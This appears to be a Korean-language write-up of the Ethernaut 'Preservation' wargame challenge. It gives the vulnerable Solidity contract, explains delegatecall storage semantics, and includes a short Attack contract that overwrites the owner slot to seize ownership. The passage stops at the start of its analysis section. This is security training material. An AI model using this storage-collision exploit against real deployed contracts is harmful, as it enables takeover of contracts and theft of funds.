1. 문제

이 컨트랙트는 라이브러리를 사용하여 두 개의 서로 다른 시간대에 대한 두 개의 서로 다른 시간을 저장합니다.
생성자는 저장할 각 시간에 대해 라이브러리 인스턴스를 두 개 생성합니다.

주어진 컨트랙트의 소유권을 가져와라
pragma solidity ^0.8.0;

contract Preservation {
    // public library contracts
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;
    uint256 storedTime;
    // Sets the function signature for delegatecall
    bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

    constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
        timeZone1Library = _timeZone1LibraryAddress;
        timeZone2Library = _timeZone2LibraryAddress;
        owner = msg.sender;
    }

    // set the time for timezone 1
    function setFirstTime(uint256 _timeStamp) public {
        timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
    }

    // set the time for timezone 2
    function setSecondTime(uint256 _timeStamp) public {
        timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
    }
}

// Simple library contract to set the time
contract LibraryContract {
    // stores a timestamp
    uint256 storedTime;

    function setTime(uint256 _time) public {
        storedTime = _time;
    }
}

2. delegatecall

저장소는 호출자(contract)의 것을 사용하고, 호출 대상(contract)의 코드를 실행한다

호출자 : Preservation contract

호출 대상 : Attack contract

즉, 저장소는 Preservation을 사용하고, LibraryContract 코드를 실행한다

참고 : 6. Delegation

3. Attack 코드

contract Attack {
    address public slot0;
    address public slot1;
    address public owner;

    function setTime(uint256 _value) public {
        owner = address(uint160(_value));
    }
}

4. 문제 분석

일단 처음 이해하기 좀 빡샜음